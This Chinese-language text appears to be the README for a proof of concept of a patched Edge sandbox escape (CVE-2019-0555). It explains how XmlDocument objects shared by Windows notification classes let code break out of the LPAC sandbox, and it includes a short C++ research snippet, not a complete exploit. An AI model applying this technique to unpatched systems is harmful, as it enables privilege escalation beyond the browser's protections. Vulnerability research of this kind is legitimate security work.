Tribell Edge 沙箱逃逸 - Edge 遗留漏洞 BadgeUpdateManager / TileFlyoutUpdateManager / ToastNotificationManager 的 PoC,利用跨边界 XmlDocument 共享并逃逸 Edge 的 LPAC 沙箱 (CVE-2019-0555)。
该 PoC 在即时编译 (JIT) 过程中触发 notepad.exe 的执行。
许多部分信任的 Windows Runtime 类将 XmlDocument 类跨进程边界暴露给较低权限的调用者,其原始形式可能被滥用以提升权限并逃逸 Edge Content LPAC 沙箱。
此 PoC 使用 BadgeUpdateManager、TileFlyoutUpdateManager 和 ToastNotificationManager 再现 XmlDocument 跨边界暴露并实现沙箱逃逸。该漏洞已被 Microsoft 修补,不再适用于完全更新的系统。
在开发漏洞利用代码时,编写并编译了以下 C++ 代码来研究每个类的用法,然后在 IDA 中检查了 GUID 值和偏移量。
...
ComPtr<ITileFlyoutUpdateManagerStatics> manager;
HStringReference name(RuntimeClass_Windows_UI_Notifications_TileFlyoutUpdateManager);
Check(RoGetActivationFactory(name.Get(), IID_PPV_ARGS(&manager)));
ComPtr<IXmlDocument> doc;
Check(manager->GetTemplateContent(TileFlyoutTemplateType::TileFlyoutTemplateType_TileFlyoutTemplate01, doc.GetAddressOf()));
ComPtr<IXMLDOMDocument2> dom;
Check(doc.As(&dom));
...